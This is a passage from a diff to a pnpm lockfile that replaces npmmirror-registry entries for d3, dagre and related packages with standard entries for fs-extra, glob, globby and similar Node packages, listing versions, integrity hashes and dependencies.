jsonfile: 6.1.0 + universalify: 2.0.0 dev: true - registry.npmmirror.com/d3-interpolate/1.4.0: - resolution: {integrity: sha512-V9znK0zc3jOPV4VD2zZn0sDhZU3WAE2bmlxdIwwQPPzPjvyLkd8B3JUVdS1IDUFDkWZ72c9qnv1GK2ZagTZ8EA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/d3-interpolate/-/d3-interpolate-1.4.0.tgz} - name: d3-interpolate - version: 1.4.0 + /fs-extra@11.1.1: + resolution: {integrity: sha512-MGIE4HOvQCeUCzmlHs0vXpih4ysz4wg9qiSAu6cd42lVwPbTM1TjV7RusoyQqMmk/95gdQZX72u+YW+c3eEpFQ==} + engines: {node: '>=14.14'} dependencies: - d3-color: registry.npmmirror.com/d3-color/1.4.1 + graceful-fs: 4.2.10 + jsonfile: 6.1.0 + universalify: 2.0.0 dev: true - registry.npmmirror.com/d3-interpolate/3.0.1: - resolution: {integrity: sha512-3bYs1rOD33uo8aqJfKP3JWPAibgw8Zm2+L9vBKEHJ2Rg+viTR7o5Mmv5mZcieN+FRYaAOWX5SJATX6k1PWz72g==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/d3-interpolate/-/d3-interpolate-3.0.1.tgz} - name: d3-interpolate - version: 3.0.1 - engines: {node: '>=12'} + /fs-extra@8.1.0: + resolution: {integrity: sha512-yhlQgA6mnOJUKOsRUFsgJdQCvkKhcz8tlZG5HBQfReYZy46OwLcY+Zia0mtdHsOo9y/hP+CxMN0TU9QxoOtG4g==} + engines: {node: '>=6 <7 || >=8'} dependencies: - d3-color: registry.npmmirror.com/d3-color/3.1.0 + graceful-fs: 4.2.10 + jsonfile: 4.0.0 + universalify: 0.1.2 dev: true - registry.npmmirror.com/d3-path/1.0.9: - resolution: {integrity: sha512-VLaYcn81dtHVTjEHd8B+pbe9yHWpXKZUC87PzoFmsFrJqgFwDe/qxfp5MlfsfM1V5E/iVt0MmEbWQ7FVIXh/bg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/d3-path/-/d3-path-1.0.9.tgz} - name: d3-path - version: 1.0.9 + /fs-extra@9.1.0: + resolution: {integrity: sha512-hcg3ZmepS30/7BSFqRvoo3DOMQu7IjqxO5nCDt+zM9XWjb33Wg7ziNT+Qvqbuc3+gWpzO02JubVyk2G4Zvo1OQ==} + engines: {node: '>=10'} + dependencies: + at-least-node: 1.0.0 + graceful-fs: 4.2.10 + jsonfile: 6.1.0 + universalify: 2.0.0 dev: true - registry.npmmirror.com/d3-path/3.0.1: - resolution: {integrity: sha512-gq6gZom9AFZby0YLduxT1qmrp4xpBA1YZr19OI717WIdKE2OM5ETq5qrHLb301IgxhLwcuxvGZVLeeWc/k1I6w==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/d3-path/-/d3-path-3.0.1.tgz} - name: d3-path - version: 3.0.1 - engines: {node: '>=12'} + /fs.realpath@1.0.0: + resolution: {integrity: sha1-FQStJSMVjKpA20onh8sBQRmU6k8=} dev: true - registry.npmmirror.com/d3-polygon/1.0.6: - resolution: {integrity: sha512-k+RF7WvI08PC8reEoXa/w2nSg5AUMTi+peBD9cmFc+0ixHfbs4QmxxkarVal1IkVkgxVuk9JSHhJURHiyHKAuQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/d3-polygon/-/d3-polygon-1.0.6.tgz} - name: d3-polygon - version: 1.0.6 + /fsevents@2.3.2: + resolution: {integrity: sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==} + engines: {node: ^8.16.0 || ^10.6.0 || >=11.0.0} + os: [darwin] + requiresBuild: true dev: true + optional: true - registry.npmmirror.com/d3-polygon/3.0.1: - resolution: {integrity: sha512-3vbA7vXYwfe1SYhED++fPUQlWSYTTGmFmQiany/gdbiWgU/iEyQzyymwL9SkJjFFuCS4902BSzewVGsHHmHtXg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/d3-polygon/-/d3-polygon-3.0.1.tgz} - name: d3-polygon - version: 3.0.1 - engines: {node: '>=12'} + /function-bind@1.1.1: + resolution: {integrity: sha512-yIovAzMX49sF8Yl58fSCWJ5svSLuaibPxXQJFLmBObTuCr0Mf1KiPopGM9NiFjiYBCbfaa2Fh6breQ6ANVTI0A==} dev: true - registry.npmmirror.com/d3-quadtree/1.0.7: - resolution: {integrity: sha512-RKPAeXnkC59IDGD0Wu5mANy0Q2V28L+fNe65pOCXVdVuTJS3WPKaJlFHer32Rbh9gIo9qMuJXio8ra4+YmIymA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/d3-quadtree/-/d3-quadtree-1.0.7.tgz} - name: d3-quadtree - version: 1.0.7 + /function.prototype.name@1.1.5: + resolution: {integrity: sha512-uN7m/BzVKQnCUF/iW8jYea67v++2u7m5UgENbHRtdDVclOUP+FMPlCNdmk0h/ysGyo2tavMJEDqJAkJdRa1vMA==} + engines: {node: '>= 0.4'} + dependencies: + call-bind: 1.0.2 + define-properties: 1.1.4 + es-abstract: 1.20.0 + functions-have-names: 1.2.3 dev: true - registry.npmmirror.com/d3-quadtree/3.0.1: - resolution: {integrity: sha512-04xDrxQTDTCFwP5H6hRhsRcb9xxv2RzkcsygFzmkSIOJy3PeRJP7sNk3VRIbKXcog561P9oU0/rVH6vDROAgUw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/d3-quadtree/-/d3-quadtree-3.0.1.tgz} - name: d3-quadtree - version: 3.0.1 - engines: {node: '>=12'} + /functions-have-names@1.2.3: + resolution: {integrity: sha512-xckBUXyTIqT97tq2x2AMb+g163b5JFysYk0x4qxNFwbfQkmNZoiRHb6sPzI9/QV33WeuvVYBUIiD4NzNIyqaRQ==} dev: true - registry.npmmirror.com/d3-random/1.1.2: - resolution: {integrity: sha512-6AK5BNpIFqP+cx/sreKzNjWbwZQCSUatxq+pPRmFIQaWuoD+NrbVWw7YWpHiXpCQ/NanKdtGDuB+VQcZDaEmYQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/d3-random/-/d3-random-1.1.2.tgz} - name: d3-random - version: 1.1.2 + /gensync@1.0.0-beta.2: + resolution: {integrity: sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg==} + engines: {node: '>=6.9.0'} dev: true - registry.npmmirror.com/d3-random/3.0.1: - resolution: {integrity: sha512-FXMe9GfxTxqd5D6jFsQ+DJ8BJS4E/fT5mqqdjovykEB2oFbTMDVdg1MGFxfQW+FBOGoB++k8swBrgwSHT1cUXQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/d3-random/-/d3-random-3.0.1.tgz} - name: d3-random - version: 3.0.1 - engines: {node: '>=12'} + /get-caller-file@2.0.5: + resolution: {integrity: sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==} + engines: {node: 6.* || 8.* || >= 10.*} dev: true - registry.npmmirror.com/d3-scale-chromatic/1.5.0: - resolution: {integrity: sha512-ACcL46DYImpRFMBcpk9HhtIyC7bTBR4fNOPxwVSl0LfulDAwyiHyPOTqcDG1+t5d4P9W7t/2NAuWu59aKko/cg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/d3-scale-chromatic/-/d3-scale-chromatic-1.5.0.tgz} - name: d3-scale-chromatic - version: 1.5.0 + /get-intrinsic@1.1.1: + resolution: {integrity: sha512-kWZrnVM42QCiEA2Ig1bG8zjoIMOgxWwYCEeNdwY6Tv/cOSeGpcoX4pXHfKUxNKVoArnrEr2e9srnAxxGIraS9Q==} dependencies: - d3-color: registry.npmmirror.com/d3-color/1.4.1 - d3-interpolate: registry.npmmirror.com/d3-interpolate/1.4.0 + function-bind: 1.1.1 + has: 1.0.3 + has-symbols: 1.0.3 dev: true - registry.npmmirror.com/d3-scale-chromatic/3.0.0: - resolution: {integrity: sha512-Lx9thtxAKrO2Pq6OO2Ua474opeziKr279P/TKZsMAhYyNDD3EnCffdbgeSYN5O7m2ByQsxtuP2CSDczNUIZ22g==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/d3-scale-chromatic/-/d3-scale-chromatic-3.0.0.tgz} - name: d3-scale-chromatic - version: 3.0.0 - engines: {node: '>=12'} - dependencies: - d3-color: registry.npmmirror.com/d3-color/3.1.0 - d3-interpolate: registry.npmmirror.com/d3-interpolate/3.0.1 + /get-own-enumerable-property-symbols@3.0.2: + resolution: {integrity: sha512-I0UBV/XOz1XkIJHEUDMZAbzCThU/H8DxmSfmdGcKPnVhu2VfFqr34jr9777IyaTYvxjedWhqVIilEDsCdP5G6g==} dev: true - registry.npmmirror.com/d3-scale/2.2.2: - resolution: {integrity: sha512-LbeEvGgIb8UMcAa0EATLNX0lelKWGYDQiPdHj+gLblGVhGLyNbaCn3EvrJf0A3Y/uOOU5aD6MTh5ZFCdEwGiCw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/d3-scale/-/d3-scale-2.2.2.tgz} - name: d3-scale - version: 2.2.2 - dependencies: - d3-array: registry.npmmirror.com/d3-array/1.2.4 - d3-collection: registry.npmmirror.com/d3-collection/1.0.7 - d3-format: registry.npmmirror.com/d3-format/1.4.5 - d3-interpolate: registry.npmmirror.com/d3-interpolate/1.4.0 - d3-time: registry.npmmirror.com/d3-time/1.1.0 - d3-time-format: registry.npmmirror.com/d3-time-format/2.3.0 + /get-stream@6.0.1: + resolution: {integrity: sha512-ts6Wi+2j3jQjqi70w5AlN8DFnkSwC+MqmxEzdEALB2qXZYV3X/b1CTfgPLGJNMeAWxdPfU8FO1ms3NUfaHCPYg==} + engines: {node: '>=10'} dev: true - registry.npmmirror.com/d3-scale/4.0.2: - resolution: {integrity: sha512-GZW464g1SH7ag3Y7hXjf8RoUuAFIqklOAq3MRl4OaWabTFJY9PN/E1YklhXLh+OQ3fM9yS2nOkCoS+WLZ6kvxQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/d3-scale/-/d3-scale-4.0.2.tgz} - name: d3-scale - version: 4.0.2 - engines: {node: '>=12'} + /get-symbol-description@1.0.0: + resolution: {integrity: sha512-2EmdH1YvIQiZpltCNgkuiUnyukzxM/R6NDJX31Ke3BG1Nq5b0S2PhX59UKi9vZpPDQVdqn+1IcaAwnzTT5vCjw==} + engines: {node: '>= 0.4'} dependencies: - d3-array: registry.npmmirror.com/d3-array/3.1.6 - d3-format: registry.npmmirror.com/d3-format/3.1.0 - d3-interpolate: registry.npmmirror.com/d3-interpolate/3.0.1 - d3-time: registry.npmmirror.com/d3-time/3.0.0 - d3-time-format: registry.npmmirror.com/d3-time-format/4.1.0 + call-bind: 1.0.2 + get-intrinsic: 1.1.1 dev: true - registry.npmmirror.com/d3-selection/1.4.2: - resolution: {integrity: sha512-SJ0BqYihzOjDnnlfyeHT0e30k0K1+5sR3d5fNueCNeuhZTnGw4M4o8mqJchSwgKMXCNFo+e2VTChiSJ0vYtXkg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/d3-selection/-/d3-selection-1.4.2.tgz} - name: d3-selection - version: 1.4.2 + /giscus@1.3.0: + resolution: {integrity: sha512-A3tVLgSmpnh2sX9uGjo9MbzmTTEJirSyFUPRvkipvy37y9rhxUYDoh9kO37QVrP7Sc7QuJ+gihB6apkO0yDyTw==} + dependencies: + lit: 2.7.6 dev: true - registry.npmmirror.com/d3-selection/3.0.0: - resolution: {integrity: sha512-fmTRWbNMmsmWq6xJV8D19U/gw/bwrHfNXxrIN+HfZgnzqTHp9jOmKMhsTUjXOJnZOdZY9Q28y4yebKzqDKlxlQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/d3-selection/-/d3-selection-3.0.0.tgz} - name: d3-selection - version: 3.0.0 - engines: {node: '>=12'} + /git-cz@4.9.0: + resolution: {integrity: sha512-cSRL8IIOXU7UFLdbziCYqg8f8InwLwqHezkiRHNSph7oZqGv0togId1kMTfKil6gzK0VaSXeVBb4oDl0fQCHiw==} + hasBin: true dev: true - registry.npmmirror.com/d3-shape/1.3.7: - resolution: {integrity: sha512-EUkvKjqPFUAZyOlhY5gzCxCeI0Aep04LwIRpsZ/mLFelJiUfnK56jo5JMDSE7yyP2kLSb6LtF+S5chMk7uqPqw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/d3-shape/-/d3-shape-1.3.7.tgz} - name: d3-shape - version: 1.3.7 + /git-raw-commits@2.0.11: + resolution: {integrity: sha512-VnctFhw+xfj8Va1xtfEqCUD2XDrbAPSJx+hSrE5K7fGdjZruW7XV+QOrN7LF/RJyvspRiD2I0asWsxFp0ya26A==} + engines: {node: '>=10'} + hasBin: true dependencies: - d3-path: registry.npmmirror.com/d3-path/1.0.9 + dargs: 7.0.0 + lodash: 4.17.21 + meow: 8.1.2 + split2: 3.2.2 + through2: 4.0.2 dev: true - registry.npmmirror.com/d3-shape/3.1.0: - resolution: {integrity: sha512-tGDh1Muf8kWjEDT/LswZJ8WF85yDZLvVJpYU9Nq+8+yW1Z5enxrmXOhTArlkaElU+CTn0OTVNli+/i+HP45QEQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/d3-shape/-/d3-shape-3.1.0.tgz} - name: d3-shape - version: 3.1.0 - engines: {node: '>=12'} + /glob-parent@5.1.2: + resolution: {integrity: sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==} + engines: {node: '>= 6'} dependencies: - d3-path: registry.npmmirror.com/d3-path/3.0.1 + is-glob: 4.0.3 dev: true - registry.npmmirror.com/d3-time-format/2.3.0: - resolution: {integrity: sha512-guv6b2H37s2Uq/GefleCDtbe0XZAuy7Wa49VGkPVPMfLL9qObgBST3lEHJBMUp8S7NdLQAGIvr2KXk8Hc98iKQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/d3-time-format/-/d3-time-format-2.3.0.tgz} - name: d3-time-format - version: 2.3.0 + /glob@7.1.4: + resolution: {integrity: sha512-hkLPepehmnKk41pUGm3sYxoFs/umurYfYJCerbXEyFIWcAzvpipAgVkBqqT9RBKMGjnq6kMuyYwha6csxbiM1A==} dependencies: - d3-time: registry.npmmirror.com/d3-time/1.1.0 + fs.realpath: 1.0.0 + inflight: 1.0.6 + inherits: 2.0.4 + minimatch: 3.1.2 + once: 1.4.0 + path-is-absolute: 1.0.1 dev: true - registry.npmmirror.com/d3-time-format/4.1.0: - resolution: {integrity: sha512-dJxPBlzC7NugB2PDLwo9Q8JiTR3M3e4/XANkreKSUxF8vvXKqm1Yfq4Q5dl8budlunRVlUUaDUgFt7eA8D6NLg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/d3-time-format/-/d3-time-format-4.1.0.tgz} - name: d3-time-format - version: 4.1.0 - engines: {node: '>=12'} + /glob@7.2.0: + resolution: {integrity: sha512-lmLf6gtyrPq8tTjSmrO94wBeQbFR3HbLHbuyD69wuyQkImp2hWqMGB47OX65FBkPffO641IP9jWa1z4ivqG26Q==} dependencies: - d3-time: registry.npmmirror.com/d3-time/3.0.0 - dev: true - - registry.npmmirror.com/d3-time/1.1.0: - resolution: {integrity: sha512-Xh0isrZ5rPYYdqhAVk8VLnMEidhz5aP7htAADH6MfzgmmicPkTo8LhkLxci61/lCB7n7UmE3bN0leRt+qvkLxA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/d3-time/-/d3-time-1.1.0.tgz} - name: d3-time - version: 1.1.0 + fs.realpath: 1.0.0 + inflight: 1.0.6 + inherits: 2.0.4 + minimatch: 3.1.2 + once: 1.4.0 + path-is-absolute: 1.0.1 dev: true - registry.npmmirror.com/d3-time/3.0.0: - resolution: {integrity: sha512-zmV3lRnlaLI08y9IMRXSDshQb5Nj77smnfpnd2LrBa/2K281Jijactokeak14QacHs/kKq0AQ121nidNYlarbQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/d3-time/-/d3-time-3.0.0.tgz} - name: d3-time - version: 3.0.0 - engines: {node: '>=12'} + /global-dirs@0.1.1: + resolution: {integrity: sha512-NknMLn7F2J7aflwFOlGdNIuCDpN3VGoSoB+aap3KABFWbHVn1TCgFC+np23J8W2BiZbjfEw3BFBycSMv1AFblg==} + engines: {node: '>=4'} dependencies: - d3-array: registry.npmmirror.com/d3-array/3.1.6 - dev: true - - registry.npmmirror.com/d3-timer/1.0.10: - resolution: {integrity: sha512-B1JDm0XDaQC+uvo4DT79H0XmBskgS3l6Ve+1SBCfxgmtIb1AVrPIoqd+nPSv+loMX8szQ0sVUhGngL7D5QPiXw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/d3-timer/-/d3-timer-1.0.10.tgz} - name: d3-timer - version: 1.0.10 - dev: true - - registry.npmmirror.com/d3-timer/3.0.1: - resolution: {integrity: sha512-ndfJ/JxxMd3nw31uyKoY2naivF+r29V+Lc0svZxe1JvvIRmi8hUsrMvdOwgS1o6uBHmiz91geQ0ylPP0aj1VUA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/d3-timer/-/d3-timer-3.0.1.tgz} - name: d3-timer - version: 3.0.1 - engines: {node: '>=12'} + ini: 1.3.8 dev: true - registry.npmmirror.com/d3-transition/1.3.2: - resolution: {integrity: sha512-sc0gRU4PFqZ47lPVHloMn9tlPcv8jxgOQg+0zjhfZXMQuvppjG6YuwdMBE0TuqCZjeJkLecku/l9R0JPcRhaDA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/d3-transition/-/d3-transition-1.3.2.tgz} - name: d3-transition - version: 1.3.2 + /global-modules@1.0.0: + resolution: {integrity: sha512-sKzpEkf11GpOFuw0Zzjzmt4B4UZwjOcG757PPvrfhxcLFbq0wpsgpOqxpxtxFiCG4DtG93M6XRVbF2oGdev7bg==} + engines: {node: '>=0.10.0'} dependencies: - d3-color: registry.npmmirror.com/d3-color/1.4.1 - d3-dispatch: registry.npmmirror.com/d3-dispatch/1.0.6 - d3-ease: registry.npmmirror.com/d3-ease/1.0.7 - d3-interpolate: registry.npmmirror.com/d3-interpolate/1.4.0 - d3-selection: registry.npmmirror.com/d3-selection/1.4.2 - d3-timer: registry.npmmirror.com/d3-timer/1.0.10 + global-prefix: 1.0.2 + is-windows: 1.0.2 + resolve-dir: 1.0.1 dev: true - registry.npmmirror.com/d3-transition/3.0.1_d3-selection@3.0.0: - resolution: {integrity: sha512-ApKvfjsSR6tg06xrL434C0WydLr7JewBB3V+/39RMHsaXTOG0zmt/OAXeng5M5LBm0ojmxJrpomQVZ1aPvBL4w==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/d3-transition/-/d3-transition-3.0.1.tgz} - id: registry.npmmirror.com/d3-transition/3.0.1 - name: d3-transition - version: 3.0.1 - engines: {node: '>=12'} - peerDependencies: - d3-selection: 2 - 3 + /global-prefix@1.0.2: + resolution: {integrity: sha512-5lsx1NUDHtSjfg0eHlmYvZKv8/nVqX4ckFbM+FrGcQ+04KWcWFo9P5MxPZYSzUvyzmdTbI7Eix8Q4IbELDqzKg==} + engines: {node: '>=0.10.0'} dependencies: - d3-color: registry.npmmirror.com/d3-color/3.1.0 - d3-dispatch: registry.npmmirror.com/d3-dispatch/3.0.1 - d3-ease: registry.npmmirror.com/d3-ease/3.0.1 - d3-interpolate: registry.npmmirror.com/d3-interpolate/3.0.1 - d3-selection: registry.npmmirror.com/d3-selection/3.0.0 - d3-timer: registry.npmmirror.com/d3-timer/3.0.1 + expand-tilde: 2.0.2 + homedir-polyfill: 1.0.3 + ini: 1.3.8 + is-windows: 1.0.2 + which: 1.3.1 dev: true - registry.npmmirror.com/d3-voronoi/1.1.4: - resolution: {integrity: sha512-dArJ32hchFsrQ8uMiTBLq256MpnZjeuBtdHpaDlYuQyjU0CVzCJl/BVW+SkszaAeH95D/8gxqAhgx0ouAWAfRg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/d3-voronoi/-/d3-voronoi-1.1.4.tgz} - name: d3-voronoi - version: 1.1.4 + /globals@11.12.0: + resolution: {integrity: sha512-WOBp/EEGUiIsJSp7wcv/y6MO+lV9UoncWqxuFfm8eBwzWNgyfBd6Gz+IeKQ9jCmyhoH99g15M3T+QaVHFjizVA==} + engines: {node: '>=4'} dev: true - registry.npmmirror.com/d3-zoom/1.8.3: - resolution: {integrity: sha512-VoLXTK4wvy1a0JpH2Il+F2CiOhVu7VRXWF5M/LroMIh3/zBAC3WAt7QoIvPibOavVo20hN6/37vwAsdBejLyKQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/d3-zoom/-/d3-zoom-1.8.3.tgz} - name: d3-zoom - version: 1.8.3 + /globby@13.2.2: + resolution: {integrity: sha512-Y1zNGV+pzQdh7H39l9zgB4PJqjRNqydvdYCDG4HFXM4XuvSaQQlEc91IU1yALL8gUTDomgBAfz3XJdmUS+oo0w==} + engines: {node: ^12.20.0 || ^14.13.1 || >=16.0.0} dependencies: - d3-dispatch: registry.npmmirror.com/d3-dispatch/1.0.6 - d3-drag: registry.npmmirror.com/d3-drag/1.2.5 - d3-interpolate: registry.npmmirror.com/d3-interpolate/1.4.0 - d3-selection: registry.npmmirror.com/d3-selection/1.4.2 - d3-transition: registry.npmmirror.com/d3-transition/1.3.2 + dir-glob: 3.0.1 + fast-glob: 3.3.0 + ignore: 5.2.4 + merge2: 1.4.1 + slash: 4.0.0 dev: true - registry.npmmirror.com/d3-zoom/3.0.0: - resolution: {integrity: sha512-b8AmV3kfQaqWAuacbPuNbL6vahnOJflOhexLzMMNLga62+/nh0JzvJ0aO/5a5MVgUFGS7Hu1P9P03o3fJkDCyw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/d3-zoom/-/d3-zoom-3.0.0.tgz} - name: d3-zoom - version: 3.0.0 - engines: {node: '>=12'} - dependencies: - d3-dispatch: registry.npmmirror.com/d3-dispatch/3.0.1 - d3-drag: registry.npmmirror.com/d3-drag/3.0.0 - d3-interpolate: registry.npmmirror.com/d3-interpolate/3.0.1 - d3-selection: registry.npmmirror.com/d3-selection/3.0.0 - d3-transition: registry.npmmirror.com/d3-transition/3.0.1_d3-selection@3.0.0 - dev: true - - registry.npmmirror.com/d3/5.16.0: - resolution: {integrity: sha512-4PL5hHaHwX4m7Zr1UapXW23apo6pexCgdetdJ5kTmADpG/7T9Gkxw0M0tf/pjoB63ezCCm0u5UaFYy2aMt0Mcw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/d3/-/d3-5.16.0.tgz} - name: d3 - version: 5.16.0 - dependencies: - d3-array: registry.npmmirror.com/d3-array/1.2.4 - d3-axis: registry.npmmirror.com/d3-axis/1.0.12 - d3-brush: registry.npmmirror.com/d3-brush/1.1.6 - d3-chord: registry.npmmirror.com/d3-chord/1.0.6 - d3-collection: registry.npmmirror.com/d3-collection/1.0.7 - d3-color: registry.npmmirror.com/d3-color/1.4.1 - d3-contour: registry.npmmirror.com/d3-contour/1.3.2 - d3-dispatch: registry.npmmirror.com/d3-dispatch/1.0.6 - d3-drag: registry.npmmirror.com/d3-drag/1.2.5 - d3-dsv: registry.npmmirror.com/d3-dsv/1.2.0 - d3-ease: registry.npmmirror.com/d3-ease/1.0.7 - d3-fetch: registry.npmmirror.com/d3-fetch/1.2.0 - d3-force: registry.npmmirror.com/d3-force/1.2.1 - d3-format: registry.npmmirror.com/d3-format/1.4.5 - d3-geo: registry.npmmirror.com/d3-geo/1.12.1 - d3-hierarchy: registry.npmmirror.com/d3-hierarchy/1.1.9 - d3-interpolate: registry.npmmirror.com/d3-interpolate/1.4.0 - d3-path: registry.npmmirror.com/d3-path/1.0.9 - d3-polygon: registry.npmmirror.com/d3-polygon/1.0.6 - d3-quadtree: registry.npmmirror.com/d3-quadtree/1.0.7 - d3-random: registry.npmmirror.com/d3-random/1.1.2 - d3-scale: registry.npmmirror.com/d3-scale/2.2.2 - d3-scale-chromatic: registry.npmmirror.com/d3-scale-chromatic/1.5.0 - d3-selection: registry.npmmirror.com/d3-selection/1.4.2 - d3-shape: registry.npmmirror.com/d3-shape/1.3.7 - d3-time: registry.npmmirror.com/d3-time/1.1.0 - d3-time-format: registry.npmmirror.com/d3-time-format/2.3.0 - d3-timer: registry.npmmirror.com/d3-timer/1.0.10 - d3-transition: registry.npmmirror.com/d3-transition/1.3.2 - d3-voronoi: registry.npmmirror.com/d3-voronoi/1.1.4 - d3-zoom: registry.npmmirror.com/d3-zoom/1.8.3 - dev: true - - registry.npmmirror.com/d3/7.4.4: - resolution: {integrity: sha512-97FE+MYdAlV3R9P74+R3Uar7wUKkIFu89UWMjEaDhiJ9VxKvqaMxauImy8PC2DdBkdM2BxJOIoLxPrcZUyrKoQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/d3/-/d3-7.4.4.tgz} - name: d3 - version: 7.4.4 - engines: {node: '>=12'} - dependencies: - d3-array: registry.npmmirror.com/d3-array/3.1.6 - d3-axis: registry.npmmirror.com/d3-axis/3.0.0 - d3-brush: registry.npmmirror.com/d3-brush/3.0.0 - d3-chord: registry.npmmirror.com/d3-chord/3.0.1 - d3-color: registry.npmmirror.com/d3-color/3.1.0 - d3-contour: registry.npmmirror.com/d3-contour/3.0.1 - d3-delaunay: registry.npmmirror.com/d3-delaunay/6.0.2 - d3-dispatch: registry.npmmirror.com/d3-dispatch/3.0.1 - d3-drag: registry.npmmirror.com/d3-drag/3.0.0 - d3-dsv: registry.npmmirror.com/d3-dsv/3.0.1 - d3-ease: registry.npmmirror.com/d3-ease/3.0.1 - d3-fetch: registry.npmmirror.com/d3-fetch/3.0.1 - d3-force: registry.npmmirror.com/d3-force/3.0.0 - d3-format: registry.npmmirror.com/d3-format/3.1.0 - d3-geo: registry.npmmirror.com/d3-geo/3.0.1 - d3-hierarchy: registry.npmmirror.com/d3-hierarchy/3.1.2 - d3-interpolate: registry.npmmirror.com/d3-interpolate/3.0.1 - d3-path: registry.npmmirror.com/d3-path/3.0.1 - d3-polygon: registry.npmmirror.com/d3-polygon/3.0.1 - d3-quadtree: registry.npmmirror.com/d3-quadtree/3.0.1 - d3-random: registry.npmmirror.com/d3-random/3.0.1 - d3-scale: registry.npmmirror.com/d3-scale/4.0.2 - d3-scale-chromatic: registry.npmmirror.com/d3-scale-chromatic/3.0.0 - d3-selection: registry.npmmirror.com/d3-selection/3.0.0 - d3-shape: registry.npmmirror.com/d3-shape/3.1.0 - d3-time: registry.npmmirror.com/d3-time/3.0.0 - d3-time-format: registry.npmmirror.com/d3-time-format/4.1.0 - d3-timer: registry.npmmirror.com/d3-timer/3.0.1 - d3-transition: registry.npmmirror.com/d3-transition/3.0.1_d3-selection@3.0.0 - d3-zoom: registry.npmmirror.com/d3-zoom/3.0.0 - dev: true - - registry.npmmirror.com/dagre-d3/0.6.4: - resolution: {integrity: sha512-e/6jXeCP7/ptlAM48clmX4xTZc5Ek6T6kagS7Oz2HrYSdqcLZFLqpAfh7ldbZRFfxCZVyh61NEPR08UQRVxJzQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/dagre-d3/-/dagre-d3-0.6.4.tgz} - name: dagre-d3 - version: 0.6.4 - dependencies: - d3: registry.npmmirror.com/d3/5.16.0 - dagre: registry.npmmirror.com/dagre/0.8.5 - graphlib: registry.npmmirror.com/graphlib/2.1.8 - lodash: registry.npmmirror.com/lodash/4.17.21 - dev: true - - registry.npmmirror.com/dagre/0.8.5: - resolution: {integrity: sha512-/aTqmnRta7x7MCCpExk7HQL2O4owCT2h8NT//9I1OQ9vt29Pa0BzSAkR5lwFUcQ7491yVi/3CXU9jQ5o0Mn2Sw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/dagre/-/dagre-0.8.5.tgz} - name: dagre - version: 0.8.5 - dependencies: - graphlib: registry.npmmirror.com/graphlib/2.1.8 - lodash: registry.npmmirror.com/lodash/4.17.21 - dev: true - - registry.npmmirror.com/dayjs/1.11.6: - resolution: {integrity: sha512-zZbY5giJAinCG+7AGaw0wIhNZ6J8AhWuSXKvuc1KAyMiRsvGQWqh4L+MomvhdAYjN+lqvVCMq1I41e3YHvXkyQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/dayjs/-/dayjs-1.11.6.tgz} - name: dayjs - version: 1.11.6 - dev: true - - registry.npmmirror.com/debug/4.3.4: - resolution: {integrity: sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/debug/-/debug-4.3.4.tgz} - name: debug - version: 4.3.4 + /graceful-fs@4.2.10: + resolution: {integrity: sha512-9ByhssR2fPVsNZj478qUUbKfmL0+t5BDVyjShtyZZLiK7ZDAArFFfopyOTj0M05wE2tJPisA4iTnnXl2YoPvOA==} + dev: true + + /gray-matter@4.0.3: + resolution: {integrity: sha512-5v6yZd4JK3eMI3FqqCouswVqwugaA9r4dNZB1wwcmrD02QkV5H0y7XBQW8QwQqEaZY1pM9aqORSORhJRdNK44Q==} engines: {node: '>=6.0'} - peerDependencies: - supports-color: '*' - peerDependenciesMeta: - supports-color: - optional: true 